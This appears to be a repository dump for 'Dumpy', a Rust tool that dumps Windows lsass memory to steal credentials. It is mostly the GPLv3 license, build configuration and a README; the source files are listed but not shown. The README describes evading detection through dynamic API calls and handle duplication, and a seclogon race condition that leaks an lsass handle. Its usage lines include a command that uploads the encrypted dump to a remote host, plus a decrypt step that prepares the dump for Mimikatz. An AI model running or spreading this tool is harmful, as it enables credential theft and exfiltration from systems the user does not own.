├── .github
└── FUNDING.yml
├── .gitignore
├── LICENSE
├── README.md
└── dumpy
├── .cargo
└── config
├── .gitignore
├── Cargo.toml
├── bindings
├── Cargo.toml
├── build.rs
└── src
│ └── lib.rs
├── build.rs
├── data
├── Cargo.toml
└── src
│ └── lib.rs
├── dinvoke
├── Cargo.toml
└── src
│ └── lib.rs
├── dumper
├── Cargo.toml
└── src
│ └── lib.rs
└── src
└── main.rs
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | github: [Kudaes]
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | /target/
4 |
5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7 | Cargo.lock
8 |
9 | # These are backup files generated by rustfmt
10 | **/*.rs.bk
11 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | Copyright (C) 2007 Free Software Foundation, Inc.
5 | Everyone is permitted to copy and distribute verbatim copies
6 | of this license document, but changing it is not allowed.
7 |
8 | Preamble
9 |
10 | The GNU General Public License is a free, copyleft license for
11 | software and other kinds of works.
12 |
13 | The licenses for most software and other practical works are designed
14 | to take away your freedom to share and change the works. By contrast,
15 | the GNU General Public License is intended to guarantee your freedom to
16 | share and change all versions of a program--to make sure it remains free
17 | software for all its users. We, the Free Software Foundation, use the
18 | GNU General Public License for most of our software; it applies also to
19 | any other work released this way by its authors. You can apply it to
20 | your programs, too.
21 |
22 | When we speak of free software, we are referring to freedom, not
23 | price. Our General Public Licenses are designed to make sure that you
24 | have the freedom to distribute copies of free software (and charge for
25 | them if you wish), that you receive source code or can get it if you
26 | want it, that you can change the software or use pieces of it in new
27 | free programs, and that you know you can do these things.
28 |
29 | To protect your rights, we need to prevent others from denying you
30 | these rights or asking you to surrender the rights. Therefore, you have
31 | certain responsibilities if you distribute copies of the software, or if
32 | you modify it: responsibilities to respect the freedom of others.
33 |
34 | For example, if you distribute copies of such a program, whether
35 | gratis or for a fee, you must pass on to the recipients the same
36 | freedoms that you received. You must make sure that they, too, receive
37 | or can get the source code. And you must show them these terms so they
38 | know their rights.
39 |
40 | Developers that use the GNU GPL protect your rights with two steps:
41 | (1) assert copyright on the software, and (2) offer you this License
42 | giving you legal permission to copy, distribute and/or modify it.
43 |
44 | For the developers' and authors' protection, the GPL clearly explains
45 | that there is no warranty for this free software. For both users' and
46 | authors' sake, the GPL requires that modified versions be marked as
47 | changed, so that their problems will not be attributed erroneously to
48 | authors of previous versions.
49 |
50 | Some devices are designed to deny users access to install or run
51 | modified versions of the software inside them, although the manufacturer
52 | can do so. This is fundamentally incompatible with the aim of
53 | protecting users' freedom to change the software. The systematic
54 | pattern of such abuse occurs in the area of products for individuals to
55 | use, which is precisely where it is most unacceptable. Therefore, we
56 | have designed this version of the GPL to prohibit the practice for those
57 | products. If such problems arise substantially in other domains, we
58 | stand ready to extend this provision to those domains in future versions
59 | of the GPL, as needed to protect the freedom of users.
60 |
61 | Finally, every program is threatened constantly by software patents.
62 | States should not allow patents to restrict development and use of
63 | software on general-purpose computers, but in those that do, we wish to
64 | avoid the special danger that patents applied to a free program could
65 | make it effectively proprietary. To prevent this, the GPL assures that
66 | patents cannot be used to render the program non-free.
67 |
68 | The precise terms and conditions for copying, distribution and
69 | modification follow.
70 |
71 | TERMS AND CONDITIONS
72 |
73 | 0. Definitions.
74 |
75 | "This License" refers to version 3 of the GNU General Public License.
76 |
77 | "Copyright" also means copyright-like laws that apply to other kinds of
78 | works, such as semiconductor masks.
79 |
80 | "The Program" refers to any copyrightable work licensed under this
81 | License. Each licensee is addressed as "you". "Licensees" and
82 | "recipients" may be individuals or organizations.
83 |
84 | To "modify" a work means to copy from or adapt all or part of the work
85 | in a fashion requiring copyright permission, other than the making of an
86 | exact copy. The resulting work is called a "modified version" of the
87 | earlier work or a work "based on" the earlier work.
88 |
89 | A "covered work" means either the unmodified Program or a work based
90 | on the Program.
91 |
92 | To "propagate" a work means to do anything with it that, without
93 | permission, would make you directly or secondarily liable for
94 | infringement under applicable copyright law, except executing it on a
95 | computer or modifying a private copy. Propagation includes copying,
96 | distribution (with or without modification), making available to the
97 | public, and in some countries other activities as well.
98 |
99 | To "convey" a work means any kind of propagation that enables other
100 | parties to make or receive copies. Mere interaction with a user through
101 | a computer network, with no transfer of a copy, is not conveying.
102 |
103 | An interactive user interface displays "Appropriate Legal Notices"
104 | to the extent that it includes a convenient and prominently visible
105 | feature that (1) displays an appropriate copyright notice, and (2)
106 | tells the user that there is no warranty for the work (except to the
107 | extent that warranties are provided), that licensees may convey the
108 | work under this License, and how to view a copy of this License. If
109 | the interface presents a list of user commands or options, such as a
110 | menu, a prominent item in the list meets this criterion.
111 |
112 | 1. Source Code.
113 |
114 | The "source code" for a work means the preferred form of the work
115 | for making modifications to it. "Object code" means any non-source
116 | form of a work.
117 |
118 | A "Standard Interface" means an interface that either is an official
119 | standard defined by a recognized standards body, or, in the case of
120 | interfaces specified for a particular programming language, one that
121 | is widely used among developers working in that language.
122 |
123 | The "System Libraries" of an executable work include anything, other
124 | than the work as a whole, that (a) is included in the normal form of
125 | packaging a Major Component, but which is not part of that Major
126 | Component, and (b) serves only to enable use of the work with that
127 | Major Component, or to implement a Standard Interface for which an
128 | implementation is available to the public in source code form. A
129 | "Major Component", in this context, means a major essential component
130 | (kernel, window system, and so on) of the specific operating system
131 | (if any) on which the executable work runs, or a compiler used to
132 | produce the work, or an object code interpreter used to run it.
133 |
134 | The "Corresponding Source" for a work in object code form means all
135 | the source code needed to generate, install, and (for an executable
136 | work) run the object code and to modify the work, including scripts to
137 | control those activities. However, it does not include the work's
138 | System Libraries, or general-purpose tools or generally available free
139 | programs which are used unmodified in performing those activities but
140 | which are not part of the work. For example, Corresponding Source
141 | includes interface definition files associated with source files for
142 | the work, and the source code for shared libraries and dynamically
143 | linked subprograms that the work is specifically designed to require,
144 | such as by intimate data communication or control flow between those
145 | subprograms and other parts of the work.
146 |
147 | The Corresponding Source need not include anything that users
148 | can regenerate automatically from other parts of the Corresponding
149 | Source.
150 |
151 | The Corresponding Source for a work in source code form is that
152 | same work.
153 |
154 | 2. Basic Permissions.
155 |
156 | All rights granted under this License are granted for the term of
157 | copyright on the Program, and are irrevocable provided the stated
158 | conditions are met. This License explicitly affirms your unlimited
159 | permission to run the unmodified Program. The output from running a
160 | covered work is covered by this License only if the output, given its
161 | content, constitutes a covered work. This License acknowledges your
162 | rights of fair use or other equivalent, as provided by copyright law.
163 |
164 | You may make, run and propagate covered works that you do not
165 | convey, without conditions so long as your license otherwise remains
166 | in force. You may convey covered works to others for the sole purpose
167 | of having them make modifications exclusively for you, or provide you
168 | with facilities for running those works, provided that you comply with
169 | the terms of this License in conveying all material for which you do
170 | not control copyright. Those thus making or running the covered works
171 | for you must do so exclusively on your behalf, under your direction
172 | and control, on terms that prohibit them from making any copies of
173 | your copyrighted material outside their relationship with you.
174 |
175 | Conveying under any other circumstances is permitted solely under
176 | the conditions stated below. Sublicensing is not allowed; section 10
177 | makes it unnecessary.
178 |
179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
180 |
181 | No covered work shall be deemed part of an effective technological
182 | measure under any applicable law fulfilling obligations under article
183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
184 | similar laws prohibiting or restricting circumvention of such
185 | measures.
186 |
187 | When you convey a covered work, you waive any legal power to forbid
188 | circumvention of technological measures to the extent such circumvention
189 | is effected by exercising rights under this License with respect to
190 | the covered work, and you disclaim any intention to limit operation or
191 | modification of the work as a means of enforcing, against the work's
192 | users, your or third parties' legal rights to forbid circumvention of
193 | technological measures.
194 |
195 | 4. Conveying Verbatim Copies.
196 |
197 | You may convey verbatim copies of the Program's source code as you
198 | receive it, in any medium, provided that you conspicuously and
199 | appropriately publish on each copy an appropriate copyright notice;
200 | keep intact all notices stating that this License and any
201 | non-permissive terms added in accord with section 7 apply to the code;
202 | keep intact all notices of the absence of any warranty; and give all
203 | recipients a copy of this License along with the Program.
204 |
205 | You may charge any price or no price for each copy that you convey,
206 | and you may offer support or warranty protection for a fee.
207 |
208 | 5. Conveying Modified Source Versions.
209 |
210 | You may convey a work based on the Program, or the modifications to
211 | produce it from the Program, in the form of source code under the
212 | terms of section 4, provided that you also meet all of these conditions:
213 |
214 | a) The work must carry prominent notices stating that you modified
215 | it, and giving a relevant date.
216 |
217 | b) The work must carry prominent notices stating that it is
218 | released under this License and any conditions added under section
219 | 7. This requirement modifies the requirement in section 4 to
220 | "keep intact all notices".
221 |
222 | c) You must license the entire work, as a whole, under this
223 | License to anyone who comes into possession of a copy. This
224 | License will therefore apply, along with any applicable section 7
225 | additional terms, to the whole of the work, and all its parts,
226 | regardless of how they are packaged. This License gives no
227 | permission to license the work in any other way, but it does not
228 | invalidate such permission if you have separately received it.
229 |
230 | d) If the work has interactive user interfaces, each must display
231 | Appropriate Legal Notices; however, if the Program has interactive
232 | interfaces that do not display Appropriate Legal Notices, your
233 | work need not make them do so.
234 |
235 | A compilation of a covered work with other separate and independent
236 | works, which are not by their nature extensions of the covered work,
237 | and which are not combined with it such as to form a larger program,
238 | in or on a volume of a storage or distribution medium, is called an
239 | "aggregate" if the compilation and its resulting copyright are not
240 | used to limit the access or legal rights of the compilation's users
241 | beyond what the individual works permit. Inclusion of a covered work
242 | in an aggregate does not cause this License to apply to the other
243 | parts of the aggregate.
244 |
245 | 6. Conveying Non-Source Forms.
246 |
247 | You may convey a covered work in object code form under the terms
248 | of sections 4 and 5, provided that you also convey the
249 | machine-readable Corresponding Source under the terms of this License,
250 | in one of these ways:
251 |
252 | a) Convey the object code in, or embodied in, a physical product
253 | (including a physical distribution medium), accompanied by the
254 | Corresponding Source fixed on a durable physical medium
255 | customarily used for software interchange.
256 |
257 | b) Convey the object code in, or embodied in, a physical product
258 | (including a physical distribution medium), accompanied by a
259 | written offer, valid for at least three years and valid for as
260 | long as you offer spare parts or customer support for that product
261 | model, to give anyone who possesses the object code either (1) a
262 | copy of the Corresponding Source for all the software in the
263 | product that is covered by this License, on a durable physical
264 | medium customarily used for software interchange, for a price no
265 | more than your reasonable cost of physically performing this
266 | conveying of source, or (2) access to copy the
267 | Corresponding Source from a network server at no charge.
268 |
269 | c) Convey individual copies of the object code with a copy of the
270 | written offer to provide the Corresponding Source. This
271 | alternative is allowed only occasionally and noncommercially, and
272 | only if you received the object code with such an offer, in accord
273 | with subsection 6b.
274 |
275 | d) Convey the object code by offering access from a designated
276 | place (gratis or for a charge), and offer equivalent access to the
277 | Corresponding Source in the same way through the same place at no
278 | further charge. You need not require recipients to copy the
279 | Corresponding Source along with the object code. If the place to
280 | copy the object code is a network server, the Corresponding Source
281 | may be on a different server (operated by you or a third party)
282 | that supports equivalent copying facilities, provided you maintain
283 | clear directions next to the object code saying where to find the
284 | Corresponding Source. Regardless of what server hosts the
285 | Corresponding Source, you remain obligated to ensure that it is
286 | available for as long as needed to satisfy these requirements.
287 |
288 | e) Convey the object code using peer-to-peer transmission, provided
289 | you inform other peers where the object code and Corresponding
290 | Source of the work are being offered to the general public at no
291 | charge under subsection 6d.
292 |
293 | A separable portion of the object code, whose source code is excluded
294 | from the Corresponding Source as a System Library, need not be
295 | included in conveying the object code work.
296 |
297 | A "User Product" is either (1) a "consumer product", which means any
298 | tangible personal property which is normally used for personal, family,
299 | or household purposes, or (2) anything designed or sold for incorporation
300 | into a dwelling. In determining whether a product is a consumer product,
301 | doubtful cases shall be resolved in favor of coverage. For a particular
302 | product received by a particular user, "normally used" refers to a
303 | typical or common use of that class of product, regardless of the status
304 | of the particular user or of the way in which the particular user
305 | actually uses, or expects or is expected to use, the product. A product
306 | is a consumer product regardless of whether the product has substantial
307 | commercial, industrial or non-consumer uses, unless such uses represent
308 | the only significant mode of use of the product.
309 |
310 | "Installation Information" for a User Product means any methods,
311 | procedures, authorization keys, or other information required to install
312 | and execute modified versions of a covered work in that User Product from
313 | a modified version of its Corresponding Source. The information must
314 | suffice to ensure that the continued functioning of the modified object
315 | code is in no case prevented or interfered with solely because
316 | modification has been made.
317 |
318 | If you convey an object code work under this section in, or with, or
319 | specifically for use in, a User Product, and the conveying occurs as
320 | part of a transaction in which the right of possession and use of the
321 | User Product is transferred to the recipient in perpetuity or for a
322 | fixed term (regardless of how the transaction is characterized), the
323 | Corresponding Source conveyed under this section must be accompanied
324 | by the Installation Information. But this requirement does not apply
325 | if neither you nor any third party retains the ability to install
326 | modified object code on the User Product (for example, the work has
327 | been installed in ROM).
328 |
329 | The requirement to provide Installation Information does not include a
330 | requirement to continue to provide support service, warranty, or updates
331 | for a work that has been modified or installed by the recipient, or for
332 | the User Product in which it has been modified or installed. Access to a
333 | network may be denied when the modification itself materially and
334 | adversely affects the operation of the network or violates the rules and
335 | protocols for communication across the network.
336 |
337 | Corresponding Source conveyed, and Installation Information provided,
338 | in accord with this section must be in a format that is publicly
339 | documented (and with an implementation available to the public in
340 | source code form), and must require no special password or key for
341 | unpacking, reading or copying.
342 |
343 | 7. Additional Terms.
344 |
345 | "Additional permissions" are terms that supplement the terms of this
346 | License by making exceptions from one or more of its conditions.
347 | Additional permissions that are applicable to the entire Program shall
348 | be treated as though they were included in this License, to the extent
349 | that they are valid under applicable law. If additional permissions
350 | apply only to part of the Program, that part may be used separately
351 | under those permissions, but the entire Program remains governed by
352 | this License without regard to the additional permissions.
353 |
354 | When you convey a copy of a covered work, you may at your option
355 | remove any additional permissions from that copy, or from any part of
356 | it. (Additional permissions may be written to require their own
357 | removal in certain cases when you modify the work.) You may place
358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 |
361 | Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 |
365 | a) Disclaiming warranty or limiting liability differently from the
366 | terms of sections 15 and 16 of this License; or
367 |
368 | b) Requiring preservation of specified reasonable legal notices or
369 | author attributions in that material or in the Appropriate Legal
370 | Notices displayed by works containing it; or
371 |
372 | c) Prohibiting misrepresentation of the origin of that material, or
373 | requiring that modified versions of such material be marked in
374 | reasonable ways as different from the original version; or
375 |
376 | d) Limiting the use for publicity purposes of names of licensors or
377 | authors of the material; or
378 |
379 | e) Declining to grant rights under trademark law for use of some
380 | trade names, trademarks, or service marks; or
381 |
382 | f) Requiring indemnification of licensors and authors of that
383 | material by anyone who conveys the material (or modified versions of
384 | it) with contractual assumptions of liability to the recipient, for
385 | any liability that these contractual assumptions directly impose on
386 | those licensors and authors.
387 |
388 | All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10. If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term. If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 |
398 | If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 |
403 | Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 |
407 | 8. Termination.
408 |
409 | You may not propagate or modify a covered work except as expressly
410 | provided under this License. Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 |
415 | However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 |
422 | Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 |
429 | Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License. If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 |
435 | 9. Acceptance Not Required for Having Copies.
436 |
437 | You are not required to accept this License in order to receive or
438 | run a copy of the Program. Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance. However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work. These actions infringe copyright if you do
443 | not accept this License. Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 |
446 | 10. Automatic Licensing of Downstream Recipients.
447 |
448 | Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License. You are not responsible
451 | for enforcing compliance by third parties with this License.
452 |
453 | An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations. If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 |
463 | You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License. For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 |
471 | 11. Patents.
472 |
473 | A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based. The
475 | work thus licensed is called the contributor's "contributor version".
476 |
477 | A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version. For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 |
487 | Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 |
492 | In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement). To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 |
499 | If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients. "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 |
513 | If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 |
521 | A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License. You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 |
536 | Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 |
540 | 12. No Surrender of Others' Freedom.
541 |
542 | If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License. If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all. For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 |
552 | 13. Use with the GNU Affero General Public License.
553 |
554 | Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work. The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 |
563 | 14. Revised Versions of this License.
564 |
565 | The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time. Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 |
570 | Each version is given a distinguishing version number. If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation. If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 |
579 | If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 |
584 | Later license versions may give you additional or different
585 | permissions. However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 |
589 | 15. Disclaimer of Warranty.
590 |
591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 |
600 | 16. Limitation of Liability.
601 |
602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 |
612 | 17. Interpretation of Sections 15 and 16.
613 |
614 | If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 |
621 | END OF TERMS AND CONDITIONS
622 |
623 | How to Apply These Terms to Your New Programs
624 |
625 | If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 |
629 | To do so, attach the following notices to the program. It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 |
634 |
635 | Copyright (C)
636 |
637 | This program is free software: you can redistribute it and/or modify
638 | it under the terms of the GNU General Public License as published by
639 | the Free Software Foundation, either version 3 of the License, or
640 | (at your option) any later version.
641 |
642 | This program is distributed in the hope that it will be useful,
643 | but WITHOUT ANY WARRANTY; without even the implied warranty of
644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
645 | GNU General Public License for more details.
646 |
647 | You should have received a copy of the GNU General Public License
648 | along with this program. If not, see .
649 |
650 | Also add information on how to contact you by electronic and paper mail.
651 |
652 | If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 |
655 | Copyright (C)
656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 | This is free software, and you are welcome to redistribute it
658 | under certain conditions; type `show c' for details.
659 |
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License. Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 |
664 | You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | .
668 |
669 | The GNU General Public License does not permit incorporating your program
670 | into proprietary programs. If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library. If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License. But first, please read
674 | .
675 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Description
2 |
3 | This tool dynamically calls MiniDumpWriteDump to dump lsass memory content. This process is done without opening a new process handle to lsass and using [DInvoke_rs](https://github.com/Kudaes/DInvoke_rs) to make it harder to detect its malicious behaviour. In order to obtain a valid process handle without calling OpenProcess over lsass, all process handles in the system are analyzed using NtQuerySystemInformation, NtDuplicateObject, NtQueryObject and QueryFullProcessImageNameW.
4 |
5 | NTFS Transaction are used in order to xor the memory dump before storing it on disk or sending it throught HTTP.
6 |
7 | **Support added for both x86 and x64**.
8 |
9 | # Compilation
10 |
11 | Just compile the code on `release` mode and execute it:
12 |
13 | C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
14 | C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
15 |
16 | In case that you want to compile the tool for a x86 system, modify the value of the option "target" in the file .cargo\config (e.g: target = "i686-pc-windows-msvc").
17 |
18 | # Usage
19 |
20 | Usage: dumpy.exe --dump|--decrypt [options]
21 |
22 | Options:
23 | -h, --help Print this help menu.
24 | --dump Dump lsass.
25 | --decrypt Decrypt a previously generated dump file.
26 | -f, --force Force seclogon's service to leak a lsass handle
27 | through a race condition.
28 | -k, --key Encryption key [default: 1234abcd]
29 | -i, --input Encrypted dump file [default: c:\temp\input.txt]
30 | -o, --output Destination path [default: c:\temp\output.txt]
31 | -u, --upload Upload URL
32 |
33 | Dumpy has two main actions:
34 |
35 | - **dump**: It will execute the main logic to dump the lsass. By default, it will store the result in a xored text file with a random name in the current directory. The option **upload** allows to send the memory content over HTTP to a remote host, avoiding the creation of the xored file on disk. I've used [this simple HTTP server](https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c) in order to handle the upload, but any other HTTP server that supports **multipart/form-data requests** will work.
36 |
37 | C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
38 |
39 | If you want to force the leakage of a handle to the lsass through the race condition in seclogon's service described by [Antonio Cocomazzi](https://twitter.com/splinter_code) in [this post](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html), just use the option **force**:
40 |
41 | C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
42 |
43 | - **decrypt**: This action allows to obtain the decrypted memory dump in the same format that tools like Mimikatz would expect. As arguments it expects the xored memory dump, the encryption key and the output file path. In case the xored file has been uploaded using HTTP, **it is required to perform a base64 decoding of the content before this decryption process**.
44 |
45 | C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey
46 |
--------------------------------------------------------------------------------
/dumpy/.cargo/config:
--------------------------------------------------------------------------------
1 | [build]
2 | target = "x86_64-pc-windows-msvc"
--------------------------------------------------------------------------------
/dumpy/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | /target/
4 |
5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7 | Cargo.lock
8 |
9 | # These are backup files generated by rustfmt
10 | **/*.rs.bk
11 |
12 | foo.dmp
13 |
--------------------------------------------------------------------------------
/dumpy/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "dumpy"
3 | version = "0.2.0"
4 | edition = "2021"
5 |
6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7 | [profile.dev.package.dumpy]
8 | opt-level = 2
9 | debug = 0
10 |
11 | [profile.dev]
12 | debug-assertions = false
13 |
14 | [profile.release]
15 | debug-assertions = false
16 | strip = true
17 |
